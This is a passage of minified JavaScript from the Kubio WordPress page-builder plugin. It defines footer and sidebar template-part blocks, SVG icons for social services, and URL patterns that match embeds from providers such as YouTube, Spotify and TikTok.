editor.","kubio")})});return(0,Je.jsx)(Je.Fragment,{children:(0,Je.jsx)(Os,{type:"footer",beforeComponent:o})})})),xb=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(vb,{})}),Cb="container",Ib={[Cb]:{label:(0,We.__)("Container","kubio"),supports:{styles:[jn.StylesEnum.BACKGROUND,jn.StylesEnum.SPACING,jn.StylesEnum.BORDER,jn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:jn.StatesPresetsEnum.BASIC},default:!0}},Eb=e=>{const t=je().get(Ib,Cb);return(0,Je.jsx)(Re.PanelBody,{title:(0,We.__)("Background","kubio"),children:(0,Je.jsx)(ut.BackgroundSection,{styledElement:t,showPanelWrapper:!1,dataHelper:e.dataHelper})})},Tb=()=>(0,Je.jsx)(Oe.StyleInspectorControls,{children:(0,Je.jsx)(Eb,{})}),Sb=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Ne.isKubioEditor)()&&(0,Je.jsxs)(Je.Fragment,{children:[(0,Je.jsx)(Tb,{}),(0,Je.jsx)(xb,{...e})]}),(0,Je.jsx)(_b,{...e})]})})),wb={name:"kubio/footer",title:"Footer",description:"You can replace the default page footer with a custom one using the footer template part. Various footers can be assigned to various pages.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},Pb=(0,Sn.extendBlockMeta)(wb,{title:(0,We.__)("Footer","kubio"),description:(0,We.__)("You can replace the default page footer with a custom one using the footer template part. Various footers can be assigned to various pages.","kubio"),__experimentalLabel:rs(/* translators: Display footer name */ /* translators: Display footer name */(0,We.__)("%s (Footer)","kubio")),icon:Tn.BlockIcons.Footer,keywords:[(0,We.__)("Footer","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Ib},reusable:!1,html:!1,multiple:!1},edit:Sb}),Ab={container:{label:(0,We.__)("Container","kubio"),supports:{styles:[...jn.StylesPresetsEnum.CONTAINER_BASIC,jn.StylesEnum.TEXT_SHADOW],states:jn.StatesPresetsEnum.BASIC,separator:!0},default:!0}},jb=(0,De.compose)((0,Ne.withColibriData)(),(0,Ne.withStyledElements)())((e=>{const{StyledElements:t,clientId:o}=e;return(0,Je.jsx)(ut.TemplatePartOverlay,{templatePart:"sidebar",clientId:o,children:(0,Je.jsx)(Ss,{blockArea:"sidebar",tagName:t.Container,...e,displayAppender:!0})})})),Bb=()=>(0,Je.jsx)(Oe.ContentInspectorControls,{children:(0,Je.jsx)(Os,{type:"sidebar"})}),Nb=(0,Ne.withPropsChecker)((function(e){return(0,Je.jsxs)(Je.Fragment,{children:[(0,Ne.isKubioEditor)()&&(0,Je.jsx)(Bb,{...e}),(0,Je.jsx)(jb,{...e})]})})),Ob={name:"kubio/sidebar",title:"Sidebar",description:"You can create separate sidebars for web pages, blog, and articles, in order to create different user journeys.",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},Rb=(0,Sn.extendBlockMeta)(Ob,{title:(0,We.__)("Sidebar","kubio"),description:(0,We.__)("You can create separate sidebars for web pages, blog, and articles, in order to create different user journeys.","kubio"),__experimentalLabel:rs(/* translators: Display sidebar name */ /* translators: Display sidebar name */(0,We.__)("%s (Sidebar)","kubio")),icon:Tn.BlockIcons.Sidebar,keywords:[(0,We.__)("Sidebar","kubio")],apiVersion:2,supports:{kubio:{elementsByName:Ab},reusable:!1,html:!1},edit:Nb}),Db=window.wp.blob,Lb=(0,Je.jsx)(Bn.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Bn.Path,{d:"M18 20v-2h2v-1.5H7.75a.25.25 0 0 1-.25-.25V4H6v2H4v1.5h2v8.75c0 .966.784 1.75 1.75 1.75h8.75v2H18ZM9.273 7.5h6.977a.25.25 0 0 1 .25.25v6.977H18V7.75A1.75 1.75 0 0 0 16.25 6H9.273v1.5Z"})}),Mb=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Re.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zm-6-9.5L16 12l-2.5 2.8 1.1 1L18 12l-3.5-3.5-1 1zm-3 0l-1-1L6 12l3.5 3.8 1.1-1L8 12l2.5-2.5z"})}),Wb=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Re.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM13.2 7.7c-.4.4-.7 1.1-.7 1.9v3.7c-.4-.3-.8-.4-1.3-.4-1.2 0-2.2 1-2.2 2.2 0 1.2 1 2.2 2.2 2.2.5 0 1-.2 1.4-.5.9-.6 1.4-1.6 1.4-2.6V9.6c0-.4.1-.6.2-.8.3-.3 1-.3 1.6-.3h.2V7h-.2c-.7 0-1.8 0-2.6.7z"})}),Hb=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Re.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM9.2 4.5H19c.3 0 .5.2.5.5v8.4l-3-2.9c-.3-.3-.8-.3-1 0L11.9 14 9 12c-.3-.2-.6-.2-.8 0l-3.6 2.6V9.8l4.6-5.3zm9.8 15H5c-.3 0-.5-.2-.5-.5v-2.4l4.1-3 3 1.9c.3.2.7.2.9-.1L16 12l3.5 3.4V19c0 .3-.2.5-.5.5z"})}),Gb=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Je.jsx)(Re.Path,{d:"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5V9.8l4.7-5.3H19c.3 0 .5.2.5.5v14zM10 15l5-3-5-3v6z"})}),Ub={foreground:"#1da1f2",src:(0,Je.jsx)(Re.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.G,{children:(0,Je.jsx)(Re.Path,{d:"M22.23 5.924c-.736.326-1.527.547-2.357.646.847-.508 1.498-1.312 1.804-2.27-.793.47-1.67.812-2.606.996C18.325 4.498 17.258 4 16.078 4c-2.266 0-4.103 1.837-4.103 4.103 0 .322.036.635.106.935-3.41-.17-6.433-1.804-8.457-4.287-.353.607-.556 1.312-.556 2.064 0 1.424.724 2.68 1.825 3.415-.673-.022-1.305-.207-1.86-.514v.052c0 1.988 1.415 3.647 3.293 4.023-.344.095-.707.145-1.08.145-.265 0-.522-.026-.773-.074.522 1.63 2.038 2.817 3.833 2.85-1.404 1.1-3.174 1.757-5.096 1.757-.332 0-.66-.02-.98-.057 1.816 1.164 3.973 1.843 6.29 1.843 7.547 0 11.675-6.252 11.675-11.675 0-.178-.004-.355-.012-.53.802-.578 1.497-1.3 2.047-2.124z"})})})},Fb={foreground:"#ff0000",src:(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.Path,{d:"M21.8 8s-.195-1.377-.795-1.984c-.76-.797-1.613-.8-2.004-.847-2.798-.203-6.996-.203-6.996-.203h-.01s-4.197 0-6.996.202c-.39.046-1.242.05-2.003.846C2.395 6.623 2.2 8 2.2 8S2 9.62 2 11.24v1.517c0 1.618.2 3.237.2 3.237s.195 1.378.795 1.985c.76.797 1.76.77 2.205.855 1.6.153 6.8.2 6.8.2s4.203-.005 7-.208c.392-.047 1.244-.05 2.005-.847.6-.607.795-1.985.795-1.985s.2-1.618.2-3.237v-1.517C22 9.62 21.8 8 21.8 8zM9.935 14.595v-5.62l5.403 2.82-5.403 2.8z"})})},zb={foreground:"#3b5998",src:(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.Path,{d:"M20 3H4c-.6 0-1 .4-1 1v16c0 .5.4 1 1 1h8.6v-7h-2.3v-2.7h2.3v-2c0-2.3 1.4-3.6 3.5-3.6 1 0 1.8.1 2.1.1v2.4h-1.4c-1.1 0-1.3.5-1.3 1.3v1.7h2.7l-.4 2.8h-2.3v7H20c.5 0 1-.4 1-1V4c0-.6-.4-1-1-1z"})})},Vb=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.G,{children:(0,Je.jsx)(Re.Path,{d:"M12 4.622c2.403 0 2.688.01 3.637.052.877.04 1.354.187 1.67.31.42.163.72.358 1.036.673.315.315.51.615.673 1.035.123.317.27.794.31 1.67.043.95.052 1.235.052 3.638s-.01 2.688-.052 3.637c-.04.877-.187 1.354-.31 1.67-.163.42-.358.72-.673 1.036-.315.315-.615.51-1.035.673-.317.123-.794.27-1.67.31-.95.043-1.234.052-3.638.052s-2.688-.01-3.637-.052c-.877-.04-1.354-.187-1.67-.31-.42-.163-.72-.358-1.036-.673-.315-.315-.51-.615-.673-1.035-.123-.317-.27-.794-.31-1.67-.043-.95-.052-1.235-.052-3.638s.01-2.688.052-3.637c.04-.877.187-1.354.31-1.67.163-.42.358-.72.673-1.036.315-.315.615-.51 1.035-.673.317-.123.794-.27 1.67-.31.95-.043 1.235-.052 3.638-.052M12 3c-2.444 0-2.75.01-3.71.054s-1.613.196-2.185.418c-.592.23-1.094.538-1.594 1.04-.5.5-.807 1-1.037 1.593-.223.572-.375 1.226-.42 2.184C3.01 9.25 3 9.555 3 12s.01 2.75.054 3.71.196 1.613.418 2.186c.23.592.538 1.094 1.038 1.594s1.002.808 1.594 1.038c.572.222 1.227.375 2.185.418.96.044 1.266.054 3.71.054s2.75-.01 3.71-.054 1.613-.196 2.186-.418c.592-.23 1.094-.538 1.594-1.038s.808-1.002 1.038-1.594c.222-.572.375-1.227.418-2.185.044-.96.054-1.266.054-3.71s-.01-2.75-.054-3.71-.196-1.613-.418-2.186c-.23-.592-.538-1.094-1.038-1.594s-1.002-.808-1.594-1.038c-.572-.222-1.227-.375-2.185-.418C14.75 3.01 14.445 3 12 3zm0 4.378c-2.552 0-4.622 2.07-4.622 4.622s2.07 4.622 4.622 4.622 4.622-2.07 4.622-4.622S14.552 7.378 12 7.378zM12 15c-1.657 0-3-1.343-3-3s1.343-3 3-3 3 1.343 3 3-1.343 3-3 3zm4.804-8.884c-.596 0-1.08.484-1.08 1.08s.484 1.08 1.08 1.08c.596 0 1.08-.484 1.08-1.08s-.483-1.08-1.08-1.08z"})})}),Yb={foreground:"#0073AA",src:(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.G,{children:(0,Je.jsx)(Re.Path,{d:"M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z"})})})},$b={foreground:"#1db954",src:(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.Path,{d:"M12 2C6.477 2 2 6.477 2 12s4.477 10 10 10 10-4.477 10-10S17.523 2 12 2m4.586 14.424c-.18.295-.563.387-.857.207-2.35-1.434-5.305-1.76-8.786-.963-.335.077-.67-.133-.746-.47-.077-.334.132-.67.47-.745 3.808-.87 7.076-.496 9.712 1.115.293.18.386.563.206.857M17.81 13.7c-.226.367-.706.482-1.072.257-2.687-1.652-6.785-2.13-9.965-1.166-.413.127-.848-.106-.973-.517-.125-.413.108-.848.52-.973 3.632-1.102 8.147-.568 11.234 1.328.366.226.48.707.256 1.072m.105-2.835C14.692 8.95 9.375 8.775 6.297 9.71c-.493.15-1.016-.13-1.166-.624-.148-.495.13-1.017.625-1.167 3.532-1.073 9.404-.866 13.115 1.337.445.264.59.838.327 1.282-.264.443-.838.59-1.282.325"})})},Kb=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.Path,{d:"m6.5 7c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5zm11 0c-2.75 0-5 2.25-5 5s2.25 5 5 5 5-2.25 5-5-2.25-5-5-5z"})}),qb={foreground:"#1ab7ea",src:(0,Je.jsx)(Re.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.G,{children:(0,Je.jsx)(Re.Path,{d:"M22.396 7.164c-.093 2.026-1.507 4.8-4.245 8.32C15.323 19.16 12.93 21 10.97 21c-1.214 0-2.24-1.12-3.08-3.36-.56-2.052-1.118-4.105-1.68-6.158-.622-2.24-1.29-3.36-2.004-3.36-.156 0-.7.328-1.634.98l-.978-1.26c1.027-.903 2.04-1.806 3.037-2.71C6 3.95 7.03 3.328 7.716 3.265c1.62-.156 2.616.95 2.99 3.32.404 2.558.685 4.148.84 4.77.468 2.12.982 3.18 1.543 3.18.435 0 1.09-.687 1.963-2.064.872-1.376 1.34-2.422 1.402-3.142.125-1.187-.343-1.782-1.4-1.782-.5 0-1.013.115-1.542.34 1.023-3.35 2.977-4.976 5.862-4.883 2.14.063 3.148 1.45 3.024 4.16z"})})})},Xb=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.Path,{d:"M22 11.816c0-1.256-1.02-2.277-2.277-2.277-.593 0-1.122.24-1.526.613-1.48-.965-3.455-1.594-5.647-1.69l1.17-3.702 3.18.75c.01 1.027.847 1.86 1.877 1.86 1.035 0 1.877-.84 1.877-1.877 0-1.035-.842-1.877-1.877-1.877-.77 0-1.43.466-1.72 1.13L13.55 3.92c-.204-.047-.4.067-.46.26l-1.35 4.27c-2.317.037-4.412.67-5.97 1.67-.402-.355-.917-.58-1.493-.58C3.02 9.54 2 10.56 2 11.815c0 .814.433 1.523 1.078 1.925-.037.222-.06.445-.06.673 0 3.292 4.01 5.97 8.94 5.97s8.94-2.678 8.94-5.97c0-.214-.02-.424-.052-.632.687-.39 1.154-1.12 1.154-1.964zm-3.224-7.422c.606 0 1.1.493 1.1 1.1s-.493 1.1-1.1 1.1-1.1-.494-1.1-1.1.493-1.1 1.1-1.1zm-16 7.422c0-.827.673-1.5 1.5-1.5.313 0 .598.103.838.27-.85.675-1.477 1.478-1.812 2.36-.32-.274-.525-.676-.525-1.13zm9.183 7.79c-4.502 0-8.165-2.33-8.165-5.193S7.457 9.22 11.96 9.22s8.163 2.33 8.163 5.193-3.663 5.193-8.164 5.193zM20.635 13c-.326-.89-.948-1.7-1.797-2.383.247-.186.55-.3.882-.3.827 0 1.5.672 1.5 1.5 0 .482-.23.91-.586 1.184zm-11.64 1.704c-.76 0-1.397-.616-1.397-1.376 0-.76.636-1.397 1.396-1.397.76 0 1.376.638 1.376 1.398 0 .76-.616 1.376-1.376 1.376zm7.405-1.376c0 .76-.615 1.376-1.375 1.376s-1.4-.616-1.4-1.376c0-.76.64-1.397 1.4-1.397.76 0 1.376.638 1.376 1.398zm-1.17 3.38c.15.152.15.398 0 .55-.675.674-1.728 1.002-3.22 1.002l-.01-.002-.012.002c-1.492 0-2.544-.328-3.218-1.002-.152-.152-.152-.398 0-.55.152-.152.4-.15.55 0 .52.52 1.394.775 2.67.775l.01.002.01-.002c1.276 0 2.15-.253 2.67-.775.15-.152.398-.152.55 0z"})}),Qb={foreground:"#35465c",src:(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.Path,{d:"M19 3H5a2 2 0 00-2 2v14c0 1.1.9 2 2 2h14a2 2 0 002-2V5a2 2 0 00-2-2zm-5.69 14.66c-2.72 0-3.1-1.9-3.1-3.16v-3.56H8.49V8.99c1.7-.62 2.54-1.99 2.64-2.87 0-.06.06-.41.06-.58h1.9v3.1h2.17v2.3h-2.18v3.1c0 .47.13 1.3 1.2 1.26h1.1v2.36c-1.01.02-2.07 0-2.07 0z"})})},Zb=(0,Je.jsxs)(Re.SVG,{viewBox:"0 0 24 24",children:[(0,Je.jsx)(Re.Path,{d:"M18.42 14.58c-.51-.66-1.05-1.23-1.05-2.5V7.87c0-1.8.15-3.45-1.2-4.68-1.05-1.02-2.79-1.35-4.14-1.35-2.6 0-5.52.96-6.12 4.14-.06.36.18.54.4.57l2.66.3c.24-.03.42-.27.48-.5.24-1.12 1.17-1.63 2.2-1.63.56 0 1.22.21 1.55.7.4.56.33 1.31.33 1.97v.36c-1.59.18-3.66.27-5.16.93a4.63 4.63 0 0 0-2.93 4.44c0 2.82 1.8 4.23 4.1 4.23 1.95 0 3.03-.45 4.53-1.98.51.72.66 1.08 1.59 1.83.18.09.45.09.63-.1v.04l2.1-1.8c.24-.21.2-.48.03-.75zm-5.4-1.2c-.45.75-1.14 1.23-1.92 1.23-1.05 0-1.65-.81-1.65-1.98 0-2.31 2.1-2.73 4.08-2.73v.6c0 1.05.03 1.92-.5 2.88z"}),(0,Je.jsx)(Re.Path,{d:"M21.69 19.2a17.62 17.62 0 0 1-21.6-1.57c-.23-.2 0-.5.28-.33a23.88 23.88 0 0 0 20.93 1.3c.45-.19.84.3.39.6z"}),(0,Je.jsx)(Re.Path,{d:"M22.8 17.96c-.36-.45-2.22-.2-3.1-.12-.23.03-.3-.18-.05-.36 1.5-1.05 3.96-.75 4.26-.39.3.36-.1 2.82-1.5 4.02-.21.18-.42.1-.3-.15.3-.8 1.02-2.58.69-3z"})]}),Jb=(0,Je.jsxs)(Re.SVG,{viewBox:"0 0 24 24",children:[(0,Je.jsx)(Re.Path,{d:"m.0206909 21 19.8160091-13.07806 3.5831 6.20826z",fill:"#4bc7ee"}),(0,Je.jsx)(Re.Path,{d:"m23.7254 19.0205-10.1074-17.18468c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418h22.5655c1.279 0 1.8019-.8905 1.1599-1.9795z",fill:"#d4cdcb"}),(0,Je.jsx)(Re.Path,{d:"m.0206909 21 15.2439091-16.38571 4.3029 7.32271z",fill:"#c3d82e"}),(0,Je.jsx)(Re.Path,{d:"m13.618 1.83582c-.6421-1.114428-1.7087-1.114428-2.3249 0l-11.2931 19.16418 15.2646-16.38573z",fill:"#e4ecb0"}),(0,Je.jsx)(Re.Path,{d:"m.0206909 21 19.5468091-9.063 1.6621 2.8344z",fill:"#209dbd"}),(0,Je.jsx)(Re.Path,{d:"m.0206909 21 17.9209091-11.82623 1.6259 2.76323z",fill:"#7cb3c9"})]}),eg=(0,Je.jsx)(Re.SVG,{viewBox:"0 0 24 24",children:(0,Je.jsx)(Re.Path,{d:"m12.1479 18.5957c-2.4949 0-4.28131-1.7558-4.28131-4.0658 0-2.2176 1.78641-4.0965 4.09651-4.0965 2.2793 0 4.0349 1.7864 4.0349 4.1581 0 2.2794-1.7556 4.0042-3.8501 4.0042zm8.3521-18.5957-4.5329 1v7c-1.1088-1.41691-2.8028-1.8787-4.8049-1.8787-2.09443 0-3.97329.76993-5.5133 2.27917-1.72483 1.66323-2.6489 3.78863-2.6489 6.16033 0 2.5873.98562 4.8049 2.89526 6.499 1.44763 1.2936 3.17251 1.9402 5.17454 1.9402 1.9713 0 3.4498-.5236 4.8973-1.9402v1.9402h4.5329c0-7.6359 0-15.3641 0-23z",fill:"#333436"})}),tg=[{name:"core-embed/twitter",settings:{title:(0,We.__)("Twitter","kubio"),icon:Ub,keywords:["tweet",(0,We.__)("social","kubio")],description:(0,We.__)("Embed a tweet.","kubio")},patterns:[/^https?:\/\/(www\.)?twitter\.com\/.+/i]},{name:"core-embed/youtube",settings:{title:(0,We.__)("YouTube","kubio"),icon:Fb,keywords:[(0,We.__)("music","kubio"),(0,We.__)("video","kubio")],description:(0,We.__)("Embed a YouTube video.","kubio")},patterns:[/^https?:\/\/((m|www)\.)?youtube\.com\/.+/i,/^https?:\/\/youtu\.be\/.+/i]},{name:"core-embed/facebook",settings:{title:(0,We.__)("Facebook","kubio"),icon:zb,keywords:[(0,We.__)("social","kubio")],description:(0,We.__)("Embed a Facebook post.","kubio"),previewable:!1},patterns:[/^https?:\/\/www\.facebook.com\/.+/i]},{name:"core-embed/instagram",settings:{title:(0,We.__)("Instagram","kubio"),icon:Vb,keywords:[(0,We.__)("image","kubio"),(0,We.__)("social","kubio")],description:(0,We.__)("Embed an Instagram post.","kubio")},patterns:[/^https?:\/\/(www\.)?instagr(\.am|am\.com)\/.+/i]},{name:"core-embed/wordpress",settings:{title:(0,We.__)("WordPress","kubio"),icon:Yb,keywords:[(0,We.__)("post","kubio"),(0,We.__)("blog","kubio")],responsive:!1,description:(0,We.__)("Embed a WordPress post.","kubio")}},{name:"core-embed/soundcloud",settings:{title:(0,We.__)("SoundCloud","kubio"),icon:Wb,keywords:[(0,We.__)("music","kubio"),(0,We.__)("audio","kubio")],description:(0,We.__)("Embed SoundCloud content.","kubio")},patterns:[/^https?:\/\/(www\.)?soundcloud\.com\/.+/i]},{name:"core-embed/spotify",settings:{title:(0,We.__)("Spotify","kubio"),icon:$b,keywords:[(0,We.__)("music","kubio"),(0,We.__)("audio","kubio")],description:(0,We.__)("Embed Spotify content.","kubio")},patterns:[/^https?:\/\/(open|play)\.spotify\.com\/.+/i]},{name:"core-embed/flickr",settings:{title:(0,We.__)("Flickr","kubio"),icon:Kb,keywords:[(0,We.__)("image","kubio")],description:(0,We.__)("Embed Flickr content.","kubio")},patterns:[/^https?:\/\/(www\.)?flickr\.com\/.+/i,/^https?:\/\/flic\.kr\/.+/i]},{name:"core-embed/vimeo",settings:{title:(0,We.__)("Vimeo","kubio"),icon:qb,keywords:[(0,We.__)("video","kubio")],description:(0,We.__)("Embed a Vimeo video.","kubio")},patterns:[/^https?:\/\/(www\.)?vimeo\.com\/.+/i]}],og=[{name:"core-embed/animoto",settings:{title:(0,We.__)("Animoto","kubio"),icon:Jb,description:(0,We.__)("Embed an Animoto video.","kubio")},patterns:[/^https?:\/\/(www\.)?(animoto|video214)\.com\/.+/i]},{name:"core-embed/cloudup",settings:{title:(0,We.__)("Cloudup","kubio"),icon:Mb,description:(0,We.__)("Embed Cloudup content.","kubio")},patterns:[/^https?:\/\/cloudup\.com\/.+/i]},{name:"core-embed/collegehumor",settings:{title:(0,We.__)("CollegeHumor","kubio"),icon:Gb,description:(0,We.__)("Embed CollegeHumor content.","kubio"),supports:{inserter:!1}},patterns:[]},{name:"core-embed/crowdsignal",settings:{title:(0,We.__)("Crowdsignal","kubio"),icon:Mb,keywords:["polldaddy",(0,We.__)("survey","kubio")],transform:[{type:"block",blocks:["core-embed/polldaddy"],transform:e=>(0,gt.createBlock)("core-embed/crowdsignal",{content:e})}],description:(0,We.__)("Embed Crowdsignal (formerly Polldaddy) content.","kubio")},patterns:[/^https?:\/\/((.+\.)?polldaddy\.com|poll\.fm|.+\.survey\.fm)\/.+/i]},{name:"core-embed/dailymotion",settings:{title:(0,We.__)("Dailymotion","kubio"),icon:eg,keywords:[(0,We.__)("video","kubio")],description:(0,We.__)("Embed a Dailymotion video.","kubio")},patterns:[/^https?:\/\/(www\.)?dailymotion\.com\/.+/i]},{name:"core-embed/hulu",settings:{title:(0,We.__)("Hulu","kubio"),icon:Gb,keywords:[(0,We.__)("video","kubio")],description:(0,We.__)("Embed Hulu content.","kubio")},patterns:[/^https?:\/\/(www\.)?hulu\.com\/.+/i]},{name:"core-embed/imgur",settings:{title:(0,We.__)("Imgur","kubio"),icon:Hb,description:(0,We.__)("Embed Imgur content.","kubio")},patterns:[/^https?:\/\/(.+\.)?imgur\.com\/.+/i]},{name:"core-embed/issuu",settings:{title:(0,We.__)("Issuu","kubio"),icon:Mb,description:(0,We.__)("Embed Issuu content.","kubio")},patterns:[/^https?:\/\/(www\.)?issuu\.com\/.+/i]},{name:"core-embed/kickstarter",settings:{title:(0,We.__)("Kickstarter","kubio"),icon:Mb,description:(0,We.__)("Embed Kickstarter content.","kubio")},patterns:[/^https?:\/\/(www\.)?kickstarter\.com\/.+/i,/^https?:\/\/kck\.st\/.+/i]},{name:"core-embed/meetup-com",settings:{title:(0,We.__)("Meetup.com","kubio"),icon:Mb,description:(0,We.__)("Embed Meetup.com content.","kubio")},patterns:[/^https?:\/\/(www\.)?meetu(\.ps|p\.com)\/.+/i]},{name:"core-embed/mixcloud",settings:{title:(0,We.__)("Mixcloud","kubio"),icon:Wb,keywords:[(0,We.__)("music","kubio"),(0,We.__)("audio","kubio")],description:(0,We.__)("Embed Mixcloud content.","kubio")},patterns:[/^https?:\/\/(www\.)?mixcloud\.com\/.+/i]},{name:"core-embed/polldaddy",settings:{title:(0,We.__)("Polldaddy","kubio"),icon:Mb,description:(0,We.__)("Embed Polldaddy content.","kubio"),supports:{inserter:!1}},patterns:[]},{name:"core-embed/reddit",settings:{title:(0,We.__)("Reddit","kubio"),icon:Xb,description:(0,We.__)("Embed a Reddit thread.","kubio")},patterns:[/^https?:\/\/(www\.)?reddit\.com\/.+/i]},{name:"core-embed/reverbnation",settings:{title:(0,We.__)("ReverbNation","kubio"),icon:Wb,description:(0,We.__)("Embed ReverbNation content.","kubio")},patterns:[/^https?:\/\/(www\.)?reverbnation\.com\/.+/i]},{name:"core-embed/screencast",settings:{title:(0,We.__)("Screencast","kubio"),icon:Gb,description:(0,We.__)("Embed Screencast content.","kubio")},patterns:[/^https?:\/\/(www\.)?screencast\.com\/.+/i]},{name:"core-embed/scribd",settings:{title:(0,We.__)("Scribd","kubio"),icon:Mb,description:(0,We.__)("Embed Scribd content.","kubio")},patterns:[/^https?:\/\/(www\.)?scribd\.com\/.+/i]},{name:"core-embed/slideshare",settings:{title:(0,We.__)("Slideshare","kubio"),icon:Mb,description:(0,We.__)("Embed Slideshare content.","kubio")},patterns:[/^https?:\/\/(.+?\.)?slideshare\.net\/.+/i]},{name:"core-embed/smugmug",settings:{title:(0,We.__)("SmugMug","kubio"),icon:Hb,description:(0,We.__)("Embed SmugMug content.","kubio"),previewable:!1},patterns:[/^https?:\/\/(.+\.)?smugmug\.com\/.*/i]},{name:"core-embed/speaker",settings:{title:(0,We.__)("Speaker","kubio"),icon:Wb,supports:{inserter:!1}},patterns:[]},{name:"core-embed/speaker-deck",settings:{title:(0,We.__)("Speaker Deck","kubio"),icon:Mb,transform:[{type:"block",blocks:["core-embed/speaker"],transform:e=>(0,gt.createBlock)("core-embed/speaker-deck",{content:e})}],description:(0,We.__)("Embed Speaker Deck content.","kubio")},patterns:[/^https?:\/\/(www\.)?speakerdeck\.com\/.+/i]},{name:"core-embed/tiktok",settings:{title:(0,We.__)("TikTok","kubio"),icon:Gb,keywords:[(0,We.__)("video","kubio")],description:(0,We.__)("Embed a TikTok video.","kubio")},patterns:[/^https?:\/\/(www\.)?tiktok\.com\/.+/i]},{name:"core-embed/ted",settings:{title:(0,We.__)("TED","kubio"),icon:Gb,description:(0,We.__)("Embed a TED video.","kubio")},patterns:[/^https?:\/\/(www\.|embed\.)?ted\.com\/.+/i]},{name:"core-embed/tumblr",settings:{title:(0,We.__)("Tumblr","kubio"),icon:Qb,keywords:[(0,We.__)("social","kubio")],description:(0,We.__)("Embed a Tumblr post.","kubio")},patterns:[/^https?:\/\/(www\.)?tumblr\.com\/.+/i]},{name:"core-embed/videopress",settings:{title:(0,We.__)("VideoPress","kubio"),icon:Gb,keywords:[(0,We.__)("video","kubio")],description:(0,We.__)("Embed a VideoPress video.","kubio")},patterns:[/^https?:\/\/videopress\.com\/.+/i]},{name:"core-embed/wordpress-tv",settings:{title:(0,We.__)("WordPress.tv","kubio"),icon:Gb,description:(0,We.__)("Embed a WordPress.tv 